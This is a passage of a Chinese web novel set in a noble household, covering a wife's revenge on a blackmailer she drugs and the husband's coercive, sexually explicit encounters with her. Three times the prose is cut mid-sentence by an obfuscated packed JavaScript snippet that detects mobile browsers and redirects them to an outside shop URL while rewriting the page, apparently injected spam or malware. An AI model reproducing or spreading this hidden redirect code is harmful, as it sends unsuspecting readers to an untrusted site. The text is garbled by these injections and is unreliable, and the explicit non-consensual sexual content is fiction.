沈若宓还没反应过来,他居然扑通一声,拽着沈若宓的裙摆跪在了她的面前! 沈若宓唬了一跳,连忙后退,却正好抵在了书桌上,被他拽着动弹不得。 “嫂嫂,你别怪我今日唐突,实在是我太喜欢嫂嫂,这才忍不住将嫂嫂约来着永兴庵,打从前几日我就特特买了这步摇,巴巴儿过来给嫂嫂赔罪,求嫂嫂莫要怪我失礼啊!” 一面痛哭流涕地说着,一面扇自己耳刮子,左脸一下右脸一下,扇了半天却连个响都没有。 沈若宓瞪大双眼。 她以为陈翰是要直接对她用强,没想到用强之前他还先得装模作样一番。 她回道:“我没怪你,你别这样,先起来。” 陈翰打蛇随棍上,顺势握住沈若宓的纤纤柔荑笑出了满脸褶子道:“嫂嫂,我就知道你心地良善,不会责怪我的!” 9.第 9 章 沈若宓忍着恶心道:“我原本是怪你的,刚才听你这么说,可见是诚心悔过,只是你手中拿着我的帕子,总叫我心中不踏实,万一哪一天被旁人晓得,我便是有十张嘴也说不清了。” 陈翰将帕子从怀中抽出来,“嫂嫂说这条帕子?” 沈若宓刚想去拿,陈翰却又收回了袖中。 “不是我不想给嫂嫂,实是这是嫂嫂留给我唯一的念想,若是连着帕子我都还给嫂嫂了,想嫂嫂了怎么办?嫂嫂放心,这帕子我视若珍宝,是万不会丢的,若是丢了,我把命都赔给嫂嫂!” 陈翰指天赌咒做誓。 这人很是狡猾,本来除了那两名小尼,沈若宓早在四周埋伏好了三个彪形闲汉,只想把这帕子拿走,但看他如此犯贱还敢打晕素娘,她免不了要戏耍他一番,叫他尝尝她的手段。 沈若宓说道:“也好,不过你既然是来赔罪,就给我跪好了,跪满一个时辰我就原谅你。” “一个时辰?!”陈翰震惊道:“嫂嫂,你这是分明是成心刁难小人啊!” 沈若宓也当即冷了俏脸,“姑爷,亏我还以为你是诚心悔过,分明是你刁难我在先,污蔑我与二爷有私情,如今口口声声赔罪,我不过让你跪一个时辰你都不肯,既如此,你去告发我算了,横竖我也不愿活了!” 说罢头一扭,掩面哭了说要去一头撞死。 陈翰那个心疼啊,仿佛沈若宓的泪水是浇在了他的心肝肺上。 说实话,他若真想强来,沈若宓定然拗不过他,偏他还想博美人一笑,让沈若宓心甘情愿跟他长长久久地好。 陈翰一咬牙道:“嫂嫂别哭,别哭,我跪,我跪还不成!” 陈翰说到做到,当真“扑通”一声在了地上,还冲她呲个大牙笑。 沈若宓:“……” 这人实在是个不要脸的泼皮,跪了没多久就喊着腰酸腿疼,非要沈若宓给他揉一揉才肯罢休。 沈若宓也不拒绝。 她微微一笑,掩面喝了一口茶水后,将那喝剩的半盏茶水递到陈翰嘴边。 “姑爷,跪这么久,你也渴了罢,先喝口茶?” 那白瓷口上还印着她淡淡的口脂红色,眼前也是她妩媚柔情的微笑,陈翰脑子一热,就着沈若宓的手就将那半盏残水喝了下去。 喝完还不忘陶醉地道:“嫂嫂,你喝剩的茶水,竟比寻常的茶水还有滋味些,不知是因你的兰唾香液,还是你身上的香气……” 沈若宓第一次觉得,原来风流多情和无耻下流的区别这么大。 同样的甜言蜜语从裴子衡嘴里说出来,大概会叫人脸红心跳,从陈翰嘴里出来,就叫人想把三天前吃的隔夜饭都吐出来! 看着时间差不多了,沈若宓站起身来,冷冷看着他。 “帕子还我。” 陈翰说:“嫂嫂,不是说我先帮你保存着嘛……” 他突然感觉眼前一阵晕眩,不可思议地瞪大双眼,“嫂嫂你……” 等他彻底软倒在地上,沈若宓才从他怀中抽出自己的那条帕子,顺道还取走了他贴身的一块玉佩。 接着,她连忙出去试探了一下素娘和两个小僧呼吸,确定这三人都只是昏迷之后,她唤来那三个汉子,指着角落里摆放的扫帚。 “使点劲儿揍。” …… 傍晚时分,裴翊到了家,正碰上管绣房的孙祥媳妇手中端着东西,脚步匆匆朝他的方向过来。 “大爷回来了,老太太一直念叨你呢!”孙祥家的笑着过来行礼。 “这是什么?”裴翊问。 孙祥家的说:“大爷问的是着托盘里的衣服吗?” 她笑道:“这是给詹表小姐做的新衣服,还是大奶奶贤惠体贴,前不久从自己的分例中匀了半匹浮光锦给詹表小姐,詹表小姐托正阳门大街上的芙蓉裳给做成了一条裙子,这不,今日是交工的日子,芙蓉裳衣服送的晚了些,刚在门外和我不停赔罪呢!” 裴翊微微蹙眉。 沈氏送了半匹浮光锦给詹氏,他怎么不知道? 之前他还要走了另外半匹给潘氏,这么说,他送她的那一整匹浮光锦,她如今竟是半尺也没有了。 裴翊去了芳菲馆,里面空无一人,除了雪茜在屋里看孩子,素娘也不在。 雪茜回话道:“奶奶和素娘从国公府出来后,便去了永兴庵礼佛了。” 裴翊才想起来,今天是他那泰山沈继宗的生日,沈氏应该还在娘家。 他又叫来阿松,不悦道:“我不是将你留下看着夫人,你怎么自己回来了?” 阿松挠挠头,“夫人说要去永兴庵祭拜,小人亲眼看着她进了永兴庵便回来了。” 阿松心想,你那意思哪里是让我看着夫人,分明是让我监视夫人,担心她与梁国公密谋什么,夫人去的永兴庵是尼姑庵,那我怎么好进去! 裴翊:“我走之后,你还看见了什么。” 阿松便将沈锦容与沈静宛欺负沈若宓的事都告诉了裴翊。 裴翊倒不惊讶。 两年前,忽有一日沈皇后特意将裴翊叫到面前,告诉他沈若宓因年幼时体弱多病,道士说在及笄之前她必须隐姓埋名寄住在道观之中,方能平安长大。 如今沈若宓及笄,前不久刚从青州的临安老家接到京都城,梁国公担心女儿,才一直对外宣称他的大女儿是耿氏前夫的女儿沈锦容。 如今沈若宓回来认祖归宗,她不仅身体康健,更出落得花容月貌,想为裴翊与沈若宓保媒。 不难理解,她从小不是在沈继宗身边长大,自然在姊妹面前得不到长姐应有的尊重。 沈氏在裴家尚是如此,在家里,就更不必提了。 至于贤惠体贴…… 贤惠过头,便是人尽可欺,逆来顺受。 …… 永兴庵的小尼姑上门来说,马车半路出了点问题,贵府大奶奶还有半个时辰才能到家。 裴翊从书房回九辩院,途径荷香居,阿松不知想到了什么,扭头对裴翊说:“爷,听说这荷香居死过人,之前茗姑娘在里面住了几天,老做噩梦,前几日搬到翠微居去了,你说这荷香居里面不会是真的有鬼吧?” 裴翊淡淡道:“没鬼。” 阿松将信将疑,“大爷,你说你断了这么多的案子,那些冤死之人,没有成百也有上千了,何况那些有冤无门之人,他们若不化为厉鬼,如何能为自己讨回公道?” 说到这里,又连忙“呸呸呸”,“你瞧我这张嘴,大爷你都说没鬼了,那就是没鬼,我真是杞人忧天。不过,听丫鬟说这荷香居最近老是有些奇怪的动静。” 裴翊:“什么动静,是女人的哭声?” 阿松笑道:“大爷你怎么知道,难道你也听说了?” 裴翊面无表情。 听着远处传来的女人哭声,阿松脸色惨白,就在他即将叫出声的前一刻,裴翊捂住了他的嘴巴。 荷香居的西厢房中,漆黑的夜色里,清冷的月光下,一男一女正赤.身.裸.体地痴缠在一处。 女人死死地抓着窗台,脸颊贴在玻璃窗上,被挤得几乎变形。在男人温言软语的几句诱哄下,口中不断地吐出那些她平日里决计不会喊出的,叫人脸红心跳的床.笫私语。 终于,伴随着男人吐出一口长长的气息后,女人身子瘫软下来,周遭的一切也彻底复归平静。 “出来吧。” 裴子衡懒懒地道。 “二爷让谁出来,这屋里除了你我,还能有谁?”女人媚眼如丝地看着他,手也再次向下抚去。 裴子衡挥开了女人的手,将掉落在地的衣服披到女人的身上。 等二人穿好衣服,屋门“嘎吱”一响,黑影中走出一个男人来。 “子衡。”那男人的声音里,颇有几分无奈。 女人一听这声音确实唬了一跳,慌慌张张穿好裙子就从裴子衡的怀中站了起来,哆哆嗦嗦地说:“大、大爷!” 荷香居没有鬼,是裴子衡与人在里面偷情。 这与裴子衡偷情的女人也不是别人,正是傍晚时刚与裴翊打过照面的孙祥媳妇。 孙祥家的捂着脸愧疚难当,裴子衡倒是一脸坦然,叫她先走了。 “子衡,她毕竟是祖母身边的人,你如此行事实在荒唐。” 裴子衡不以为意地一笑,依旧懒散地靠在一侧的贵妃椅上。 “大哥,你喜欢什么样的女人?”他反问。 “你何意?” 裴子衡耸肩,“没有别的意思,就是一问。” “贤惠持家,善解人意。” 裴翊想了想,说道。 这也不足为奇,身为嫡长孙,从小到大裴翊都被太夫人和老太爷寄予厚望,当做裴家家主来培养,从年幼时,君子六艺琴棋书画他几乎样样精通。 而成年之后他也果然未曾辜负老太爷所托,一心为朝廷建功立业,武能平叛乱,文能断奇案。 如今更娶了皇后的侄女,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308841|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个贤惠美貌的女子为妻。 “我喜欢风骚的女人。”裴子衡说道。 他仰起头,看着眼前他那神情凛然犹如高山之雪般的大哥。 像是一尊毫无感情的神祇,永不会为任何的情与欲所困。 “尤其是那些外面看起来像良家妇女,一旦在床上骚起来,那才是真正的销魂蚀骨。啧啧,为了得到这样的女人,牡丹花下死,做鬼也风流……” 说着,裴子衡低低地笑了起来,潮红的面上还是一副回味无穷的模样。 刚进门的时候,裴翊除了闻到了那股男女之事的味道,还闻到了裴子衡身上的淡淡酒气。 显然,裴子衡又是吃多了酒,正在撒酒疯。 兄弟之间讨论女人与床事在裴子衡看来是稀松平常,不过裴翊身为长兄,还需维持他长兄的威严,他从未与裴子衡讨论过这等私密之事,也无意与他继续讨论下去。 “二八佳人体似酥,暗里教君骨髓枯。你还是收敛些,自个儿倒是舒坦了,那孙祥知晓了却未必会善罢甘休,到时候平白惹出一桩风流债。”他警告道。 “省得了!” 裴子衡心想他给孙祥夫妻俩那么多珍宝首饰,这孙祥都恨不得自己亲自上来伺候他,可惜了他不好男色,哪里还能对他如何。 他摆了摆手,倒在贵妃榻上没过多久便呼呼睡去。 裴翊走在回九辩院的路上,夜风向他吹来,不知为何,原本应该清凉的微风此刻却好似裹了暖熏的温度,吹得他身体也有些发热发烫。 九辩院的大丫鬟粉钏见他回来,忙殷勤地迎上来:“大爷回来了!” 裴翊“嗯”了一声,随意问:“去问问夫人可回来了?” “夫人半个时辰前就回来了。”粉钏不太愿意地说。 按照自家爷的性子,白天是岳父大人的大寿,今夜恐怕他十有八.九会去芳菲馆。 但裴翊只是脚步一顿。 “好。” 回了房,冲了凉水澡,躺在床上,他闭目入睡。 “我喜欢风骚的女人,尤其是那些外表看起来像良家妇女,一旦在床上骚起来,那才是真正的销.魂.蚀.骨。” …… 欲念犹如藤蔓般,在漆黑的夜里悄无声息地抽丝,攀爬,缠绕,收紧。 直过来了一会儿,依旧毫无睡意,裴翊只得睁开了眼。 阿松听他起床,揉着眼睛跑过来问,“爷怎么醒了,是要喝水还是如厕?” “……你去端水来。”裴翊说。 阿松端了水过来的时候,发现自己主子已经点上灯,穿好衣服坐在了椅子上,眼中有红血丝。 “夫人回来了?” “回来了,大爷不是早问过粉钏了?” “……” 阿松疑惑,见裴翊也不说话,困得打了个哈欠。 裴翊看了他一眼。 “罢了,你回去睡吧。” 阿松一喜,忙应是。 然而刚走到门口,又被叫住。 “等等。” …… 沈若宓从睡梦中被素娘推醒。 “姑娘,姑娘,大爷来了,大爷来了!” “嗯……嗯?”沈若宓迷迷糊糊地坐起身来,“谁来了?” 素娘小声道:“大爷过来了。” 裴翊? 沈若宓还以为是自己睡迷糊了。 她抬起睡得惺忪的眼一瞧,竟还真看见个高大的黑影站在屏风处。 “你先下去罢。”裴翊对素娘道。 素娘就退下去了。 沈若宓赶紧披上衣服起来。 她以为裴翊深夜过来是有什么急事。 难不成是知道了下午永兴庵她和陈翰私会的事? “夫人。” 裴翊很快就走到了她的面前。 沈若宓的心“砰砰”直跳。 她开口,旋又失声。 “大爷……啊!” 她竟被裴翊抵住身子,摁在了屏风上! 沈若宓脑中一片空白。 此刻,她脑中闪过了一万个念头。 裴翊,莫非是白天在梁国公府受气,又不知从哪知道了她跟陈翰的事,误以为陈翰和她有私情,一怒之下想杀她灭口? 直到她身上的衣衫一件件掉在地上的时候,她都没有往哪个方向去想。 而后,她猛地抓住了屏风上方的边框,浑身疼得一颤。 …… 10.第 10 章 “大爷怎么这么晚过来。” 雪茜小声道:“素娘姐姐,该不会是大爷知道了下午发生的事吧?” 素娘脸色发白,下意识地以为雪茜说的是陈翰:“别瞎说,下午什么事都没发生,咱们大奶奶是去永兴庵上香了!” “奶奶不就是去上香了吗,我是说奶奶往二小姐和三小姐身上丢蜘蛛……” 素娘捂住了雪茜的嘴。 就在二婢急得团团转的时候,忽听屋内传来一声沈若宓的尖叫,顿时吓得魂飞魄散,连忙将耳朵贴在门上。 “大爷,你做……不……” …… 那凄厉的尖叫莫名变作了女人娇媚而接连不断的求饶声。 素娘和雪茜对视一眼,脸渐渐红了。 大爷夤夜前来,又是急吼吼的,原来、原来就为这个啊…… 以往二人这敦伦之礼都要酝酿上好一会儿,怎么今日这般快就……听着那声音变得愈发不可描述,两人不敢再听下去,连忙蹑手蹑脚地迅速溜走。 天亮时分,窗外还沉着淡淡的星色,裴翊如往常一般睁开了眼。 他看向一旁的落地钟,竟比平时晚了两刻钟。 裴翊立即起身穿衣,他动作幅度过大,只听一道轻轻地,犹如猫儿般“嘤”的一声。 裴翊转过身。 身旁的女人桃颊绯红,红唇微张,一头乌发散乱地铺在枕上,正面朝他的方向侧躺着,显然睡得还正香。 而随着他的动作,锦被滑落了下去,露出女人的那一抹香肩、深凹的锁骨以及双峰深深勾勒出的饱满,上面还布着点点红痕,衬着雪白柔腻的肌肤,在帐子里半明半昧的微光下格外醒目而刺眼。 两人锦被之下的身体,亦都是身无寸缕的。 似乎是昨夜结束之后,都甚是疲倦,未曾擦洗更衣便搂着直接睡去了。 裴翊捏了捏自己的眉心,后知后觉的一股荒唐意味袭来,连自己也不敢相信昨夜竟做出这等急色之举。 原来人在被最本能的欲望裹挟之时,竟是半分理智也没有的,也难怪裴子衡能做出那等淫.乱之事。 可笑昨夜他如此斥责对方,转身却做了跟他相同之事。 倘若在平时,他是绝不会半夜欲.火.焚.身,以至胀痛难眠,脑中来回翻转的只有——妻子那雪白细腻的肌肤与颤柔急促的呼唤声。 匪夷所思,白日她循规蹈矩万事寻不出差错,一双美眸美则美矣,眼底仿佛那老尼般平静得无波无澜,与她坐在一处也难生出什么旖旎心思,而夜里那喉中却能溢出如此令人心神荡漾如黄鹂般美妙的声音,每一声都好似在催促邀请他做该做的事。 裴翊将这一切都归咎于他那混不吝的二弟裴子衡。 若只是个普通的小丫鬟,开脸抬做通房倒罢了,他胆大包天,染指却是人.妻,府内的管事媳妇。 现下不节制他,以后可还得了,夫人小姐都敢碰了。 沈若宓醒时,身侧已是人去被空。 不出意料地,她起晚了,被太夫人拘在春华堂责备了一个时辰之久。 沈若宓想,如果她老的时候也能如太夫人一般睡得少精力还能如此充沛就心满意足了。 嘉善长公主倒没那么斤斤计较,见她姗姗来迟,略点了点头,婆媳俩客套一回,聊了几句家中琐事,便不耐烦地打发她回去了。 回芳菲馆的时候,很意外的裴翊也在。 沈若宓想起来了。 今日是裴翊休沐,且照他的习惯,昨夜宿在自己房里,翌日便会在她院里用早膳。 可因为昨夜发生的事,眼下她只觉万分尴尬。 若是明日再见也好,至少事情已经隔夜了。 偏偏是在事后的不久见面。 她在门外犹豫着徘徊不前,直到屋里的裴翊叫她,“夫人回来了?” “大爷。” 沈若宓只好硬着头皮进去,避免与他眼神接触。 “怎么回来了不进屋?” 裴翊抬头瞥了她一眼,语气如往常一般。 “没什么,脑中想着早膳吃什么,刚吩咐下去。” “嗯,夫人,你为何写金刚经?” 沈若宓走过去,发现裴翊正欣赏她昨日在永兴庵抄写的金刚经。 因没有抄完,索性就带回来了。 “大爷平安归家,母亲说给大爷还愿,一个月内抄够三百遍金刚经,我担心母亲累坏了眼睛,才想帮她分担抄写。” 她问:“可是有什么问题?” “没有,你做的很好,”裴翊指着遍洒金箔的纸笺道:“是你的字,笔锋僵硬,力透纸背,可见过于用力,长此以往,字形呆板,手腕也会僵化酸疼。” 沈若宓知道,她这笔字确实不够好看。 当年沈皇后看了她的一笔大字都是连连摇头,毫不留情地说她娘家褚氏好歹也是书香门第,怎么生出的女儿写了一笔烂字,简直有辱门风。 那时沈若宓还很不服气,犟嘴说她爹那种附庸风雅的男人能生出她这样漂亮的女儿已是大福气大造化了,气得沈皇后饿了她一整天,警告她在外人面前不许再说这种大不敬的话。 话说回来,为了将她改造成一个名门淑女,沈皇后请了有名的书法大家来教她写字,不过练字毕竟是个长年累月的苦差事,如今的这笔字已是她非常用心努力的结果了。 不过裴翊有一句话说的对,她写字太用力,确实会手腕疼。 “那大爷以为,我该如何写?” 她虚心求教,以为男人真要教她写字。 裴翊让她写一个字。 沈若宓依言拿起狼毫笔,她刚提起头,忽然发现男人不知何时站在了她的身旁,便不着痕迹地后退了一步,与他拉开距离。 她要写一个“露”字。 这字颇复杂,兼之被人窥着,沈若宓下笔并不是很顺利,尤其是在墨色因下笔过重晕染之后,让这个字的上半部分显得很臃肿不太好看。 就在这时,后背缓缓贴来一具男人火热宽阔的身体,他的大手也覆住了她的手背。 她的臀部和腰身,登时不可抑制地紧绷,僵硬。 就教写个字,也不至于贴得这么近吧? 沈若宓欲言又止地看向他。 面对她略带惊恐的一张脸,裴翊顿了下,向下瞥了一眼她饱满的臀。 “放松些。” 她的臀自然是愈发僵硬,不知放在何处好,谁料他的另一只手更加肆无忌惮地抚过她腰臀之间的敏感地带,口中却冠冕堂皇地贴着她的耳说:“怎么,我说你的手腕。” “轰隆——”一声。 一样的姿势,甚至是一样的话…… 一瞬之间,昨夜发生的一切,一幕幕犹如浪潮在沈若宓的脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318656|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中汹涌卷来。 昨夜听到他来时她披衣匆忙起身,走到外间时他也正巧走进来,两人默然相对。 她以为下午和陈翰的事情暴露了,忐忑地询问他来何事,他沉默了一会,直勾勾地盯着她。 “过来,有话对你说。” 她走过去了,他却开始宽衣解带。 她吓一大跳,直到被他摁在背后的屏风上架起腿,她难以理解地问他:“你做什么?” 更叫她难以置信的还在后头,没一会他淡然说要在那张贵妃塌上,她大吃一惊,当然是不假思索地拒绝,心想他是疯了不成!那是坐具啊以后还坐不坐了…… 这人平时虽不算多温柔,却也没有昨晚那般的态度强硬过,且她不明白他既已经然打定了主意要去那里做这事儿,做什么还多此一举去询问她的意见,岂非是有意羞辱她! 她原本疑心裴翊是知晓了她与陈翰私会之事,有意折辱她,后来才隐约意识到,这个男人可能仅仅只是想发泄欲望。 因为她越是表现出不情愿,他便越是兴奋、越是迅猛用力,可他越这样她越受不了越不情愿啊,有几次都被他弄哭了他才肯舒缓片刻。 早晨起床后她还特意去看了看那架贵妃塌,果不其然靠背的扶手上被她抓上了七八道指痕,猩红色的团花毯也被弄得皱巴巴颜色深一块浅一块,害她不得不背着人把那毯子亲自手洗晒干。 而此时此刻,他又故技重施身体严丝合缝地贴合着她的身体。 那重而炽热的呼吸,瑞脑清凉的香气混合着男子身上的气息,一下一下吐入她的耳中。 沈若宓僵着身子,如同酷刑般地屏住呼吸,终于这字写完,她动了一下,那人不曾松开,她却意外察觉到那蓄势待发的勃然位置恰到好处,险些尖叫出声扭头一掌掴开他! 他刚才装得那般一本正经,原来还是为了那档子事…… 还要脸不要! 裴翊向前挪了一步,沈若宓被他彻底抵在了书桌上,那直白的意味干脆藏也不藏了。 他低头看着眼前女子的侧脸,窗外明媚的阳光洒在她满是红晕的俏脸上,长长的睫毛犹如蝴蝶羽翼一般胡乱颤抖,那琥珀色的眼珠子急得左右上下地乱瞟着。 她却还在强装镇定地开口:“大爷,你,你让让。”声音又开始颤抖了。 像猫儿将老鼠按在爪子下时,那小老鼠儿惊慌失措的模样。 …… 却说素娘有事通禀沈若宓,走到门口没听到里头的动静,在门外透过软帘只看见了沈若宓似乎是背着身坐在书案上一动不动。 她有些诧异,下意识地想走进去,这才突然看见自家奶奶的胸口还伏着一个男人,口中的话登时戛然而止连忙羞愧地退出去。 “奶奶,二太太打发人……” 听到素娘的声音沈若宓慌忙推开裴翊。 她胡乱掖着自己衣襟,摸到一点湿润也来不及擦拭:“……二太太还有事寻我。” 裴翊盯着她,脸色逐渐有些沉。 “好,你去罢。” 半响,他淡淡道。 看着沈若宓迫不及待离开的背影,裴翊也丢了手中的笔。 原本昂扬的兴致忽变得意兴阑珊。 他这妻子,花容月貌,温柔,贤惠,孝顺,善解人意,样样都好。 只是…… 过于木然无趣。 11.第 11 章 午后,沈若宓来给嘉善长公主送经书,还附送了一套她做给公爹裴铳的衣服。 嘉善长公主抬起眼皮看了一眼衣服,一件深紫色的滚边镶金团花长袍叠的平平整整的放在托盘里,不论衣料的质地还是上面绣的花样纹饰都费了些心思,瞧着很是精致。 “辛苦你了,放下罢,我会转交给你爹。” 自从沈若宓嫁进来,嘉善长公主就常年住在佛堂,一年到头鲜少露面,也就逢年过节的时候会参与一些家族聚会,大部分时候是她的公爹和丈夫裴翊来着佛堂中寻她。 不过,她倒是时常入宫去看望兴启帝与太后。 沈若宓能感觉到长公主对她的不喜。 这种不喜似乎很大程度上来自于她的姑姑。据说当年郭皇后过世后,嘉善长公主与定国将军夫妻俩都曾公开支持徐贤妃为继后。 后来兴启帝仍是力排众议,立了她的姑姑沈玉萼,嘉善长公主倒未再公开反对,但对于儿子裴翊的这门亲事,她起初却是强烈不满的。 而她要费尽心机去讨好一个厌恶她的人,不是因她胸怀宽广喜欢以德报怨,而是源于她对沈皇后的承诺。 在她十二岁那一年她的母亲因病而故,永远地死在了对所谓的父亲沈继宗的思念之中,临死前母亲唯一的心愿就是能进沈家的祖坟。 沈若宓恨沈继宗,十二年来他竟从未有一次去临安看过她与母亲,也从未教养过她,她绝不认他是她的父亲。 但为了母亲的遗愿,三年守孝期满后,她带着素娘一把豆腐刀,骑着家中唯一的一头小驴去了京都城。 那时候十五岁的她只有一个心愿,便是为她的母亲讨回公道实现她的遗愿。 因缘巧合之下,她见到了她的姑姑沈玉萼。 沈皇后不仅答应将她的母亲葬进沈家祖坟,让她的母亲成为沈继宗名正言顺的元妻,还承诺若有朝一日她能为她诞下一个有裴沈两家血脉的儿子,便立即求诏书封她的母亲为正三品的诰命夫人。 条件便是她要嫁给裴翊,替她、替裴沈两家永结百年之好。 …… “这是小厨房今日一早才出炉的糕点,我尝着味道不错,你去给大爷一并送去了吧。”嘉善长公主说道。 沈若宓应是,提了那精致的鎏金螺钿食盒往裴翊的书房去。 “大奶奶,大爷不在。”裴翊的丫鬟粉钏在书房门口拦住他。 “大爷今日不是休沐吗?” “是休沐没错,不过半个时辰前崔大人来做客,大爷去前院招待崔大人了,不如奶奶先回去吧,别在这里空等。” 沈若宓说:“无妨,我在里面等一等他,你不必管我,下去罢。” 粉钏撇了撇嘴,退下了。 沈若宓进了书房,将食盒放在桌上。 她自然不是来等裴翊的。 昨夜睡得太晚,今早一大早起来去春华堂被太夫人训斥,晌午又没睡好,眼下她有些头晕,在外面险些要晕倒了,想进来略歇一会儿把劲儿缓过来。 裴翊的书房里,书架、地下的木框里都装满厚厚的书,八成是与他的公务有关,沈若宓没去碰,墙角有个小杌子,她拿来那小杌子坐下了。 正闭目养神间,忽有一阵大风吹来,吹开后窗,“哗”的一声将桌上一份原本便摆的摇摇欲坠的卷宗,连带着底下的几张纸一起吹到了地上。 沈若宓晓得这些东西要紧,连忙起身去关窗,又将地上掉落的卷宗都拾了起来。 大概三本卷宗,沈若宓捡的时候无意看了几眼。是一桩死刑案,判秋后斩首,余下的一桩叔嫂私通案、一桩争家产案。 同一个案子的供词、状书及搜集到的证据都被整齐地收拢在一本册子里,册子中央还夹画着被告与原告的画像,详细记载了其生平。 每一份供词都被他认真地批注过,若有问题的,结尾写上疑点,用红笔写着“复审”二字。 若没有问题的,则用墨笔直接写了一个“阅”字。 不得不承认,他这笔字确实写得比她好上许多。 沈若宓第一次明白,字如其人是何意。 裴翊的字,端正,一丝不苟,即便再小的字,框架也写得十分清晰。 她将所有的卷宗都复归原位,待那股头晕的劲儿也缓过去,便起身离开了。 …… 沈若宓走后,粉钏悄悄溜进了书房。 她是裴翊奶娘的女儿,从小就跟姐姐红钏一起伺候裴翊,知道裴翊对这些卷宗视若珍宝,平时也不允许他们随意触碰。 曾经有个不懂事的下人将这些卷宗收拾得一团乱糟,将裴翊惹得勃然大怒。 最重要的是,粉钏知道成婚之后他曾经秘密告诉过阿松,不允许沈氏进他的书房。 不错,大爷猜忌沈氏,并不信任她。 趁着四下无人,粉钏迅速打开最上方的卷宗,抽走了其中的一份关键证词。 …… 沈若宓并不知她即将大难临头。 裴翊如往常一般下衙回家,去见过太夫人与长公主后,便来了芳菲馆。 想到昨晚的事情,沈若宓仍有些不自在。 “夫人,你一直站那儿做什么?” 裴翊摸了摸菱姐儿的头,抬眼发现沈若宓站在隔断处一动不动。 回家这一个月来菱姐儿已经没有刚开始时那般害怕自己的父亲,也不怎么讨厌他的触碰。 “没什么。”沈若宓给上前他倒了杯茶。 “多谢。” 裴翊接过,一饮而尽。片刻后道:“前些时日陛下赏了我一盒孔雀羽丝。” 他从袖中取出一枚锦盒,放到桌上,“还有几日子文就要娶妻了,将这羽丝绣到衣裙上,遇光可见翠蓝光泽,再辅以金银二线,有如孔雀翠羽,金翠交辉,你穿定然美丽。” 沈若宓打开锦盒一看,果然如他所言,在灯光下竟呈现出璀璨之色,惊讶不已。 她记得,她似乎在姑姑沈皇后的裙摆上看见过这种孔雀羽丝。 这等珍贵之物,裴翊不送给嘉善长公主与太夫人,怎么会突然拿来给她? 虽然不解,但沈若宓仍是从善如流地应道:“多谢大爷,我那衣裙配饰简单,正巧缺这孔雀羽丝。” “嗯,你能喜欢就好。” 喝了两盏茶,看完孩子之后,夫妻两人照旧没什么话说,裴翊便走了,临走时提醒她今晚早些安置。 言外之意,今晚他不会再过来了。 沈若宓却如蒙恩赦,悬在嗓子眼儿的那颗石头总算是落了下去。 说实话,她害怕裴翊像昨晚那样的失控,若让她夜夜像昨晚那样一直应付他,与娼妓何异,她真宁愿去死。 但另一方面沈若宓又隐隐觉得,裴翊是给了她孔雀羽线,态度却冷淡许多,似乎对她昨夜和今早的反应并不十分满意。 她想到在乡下卖豆腐的时候,曾听一些无所事事的村口闲汉说起过男人最喜欢的女人——床上是□□□□,床下是贞洁烈妇。 因而这类男人通常会娶一个贤惠温柔的妻子,纳一个妖娆妩媚的小妾,背地里再偷一个美貌寂寞的寡妇。 洗漱完毕,菱姐儿娇滴滴地缠着沈若宓给讲故事,非要和她一起睡。 沈若宓笑着捏了捏女儿秀气的小鼻子,将女儿抱上床,让雪茜去落锁。 雪茜却很快去而复返,神色有些慌张。 “大奶奶,大爷过来了!” 沈若宓有些诧异。 以裴翊的性格,昨夜的事情他绝不会再做第二次。 她一面疑惑,一面迅速重新穿好了衣服。 不消片刻,不等她迎出去裴翊便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323232|198375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快步走了进来。 “大爷怎么来了?”沈若宓轻声问。 裴翊也不拐弯抹角,冷冷道:“沈氏,下晌你可去过我的书房?” 沈若宓点头,“是母亲让我……” “我有没有告诉过你,不准碰我的东西!” 裴翊打断她,“我放在卷宗中的证纸少了一张,明日这桩案子就要呈堂,沈氏,你为何要不经我允许私自拿走关键证纸?” 他的声音是少见的严厉,沈若宓一时愣住了。 他对下人也从没这样说过话。 还没等她回应,突然里间传来菱姐儿嗷嗷的大哭声。 “娘,娘!”菱姐儿口齿不惊地喊着她。 沈若宓顾不得和裴翊解释,连忙进屋抱住被吓哭的女儿。 裴翊也走了进来。 他没料到菱姐儿也会在。 他尽量克制住愤怒,走到沈若宓面前。 菱姐儿小脸雪白,大大的葡萄眼惊恐地瞪着他。 裴翊抬手想要去抚摸女儿的脑袋,却把菱姐儿吓得钻进了沈若宓的怀中。 “把菱姐儿抱下去!” 裴翊的耐心告罄,直接命令奶娘。 奶娘连忙将菱姐儿抱离了这个是非之地。 “我不知大爷为何笃定是我拿走的证纸,”沈若宓说:“我下午的确去过大爷的书房送吃食,因风太大,将桌上的卷宗吹掉在地上,我才帮大爷捡了起来,但里面的东西我一样都没有动,也不敢私自拿走。” 